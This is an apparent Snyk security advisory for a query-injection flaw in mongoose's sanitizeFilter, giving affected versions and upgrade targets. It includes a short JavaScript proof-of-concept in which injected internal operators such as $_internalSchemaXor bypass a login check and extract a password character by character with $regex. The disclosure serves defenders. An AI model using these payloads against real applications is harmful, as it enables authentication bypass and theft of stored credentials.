Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Improper Neutralization of Special Elements in Data Query Logic vulnerabilities in an interactive lesson.
Start learningUpgrade mongoose to version 6.13.13, 7.8.14, 8.24.10, 9.12.2 or higher.
mongoose is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.
Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Data Query Logic via sanitizeFilter in lib/helpers/query/sanitizeFilter.js, which only blocked four specific top-level operators ($jsonSchema, $where, $expr, $text) and recursed into $and, $or, and $nor, but left all other top-level $-prefixed keys unchecked. An attacker who controls the keys of a query filter can supply undocumented MongoDB internal operators such as $_internalSchemaXor or $_internalSchemaCond, which accept nested sub-filters that sanitizeFilter never inspects, allowing arbitrary query selectors like $ne or $regex to be injected. This enables authentication bypass by matching records without knowing a field value, and data extraction by using $regex as a boolean oracle to recover field values one character at a time.
Note: This is only exploitable when the sanitizeFilter option is enabled and the application passes user-controlled filter keys directly to a query (e.g. Model.find(req.body)).
const User = mongoose.model('User', new mongoose.Schema({ username: String, password: String }));
await User.create({ username: 'admin', password: 'hunter2' });
// Attacker controls the filter, e.g. `User.findOne(req.body)`
const login = filter => User.findOne(filter).setOptions({ sanitizeFilter: true });
// Blocked as expected: `$ne` is wrapped in `$eq`, so no match
await login({ username: 'admin', password: { $ne: null } }); // null
// Bypass: login without the password
await login({
username: 'admin',
$_internalSchemaXor: [{ password: { $ne: null } }, { $alwaysFalse: 1 }]
}); // { username: 'admin', password: 'hunter2', ... }
// Bypass: extract the password one character at a time
await login({
username: 'admin',
$_internalSchemaXor: [{ password: { $regex: '^h' } }, { $alwaysFalse: 1 }]
}); // matches, so password starts with 'h'
Tested against MongoDB 9.0.2. $_internalSchemaCond works the same way, and both operators also work inside $and/$or/$nor.
Note: Tested against MongoDB 9.0.2 with sanitizeFilter enabled via setOptions.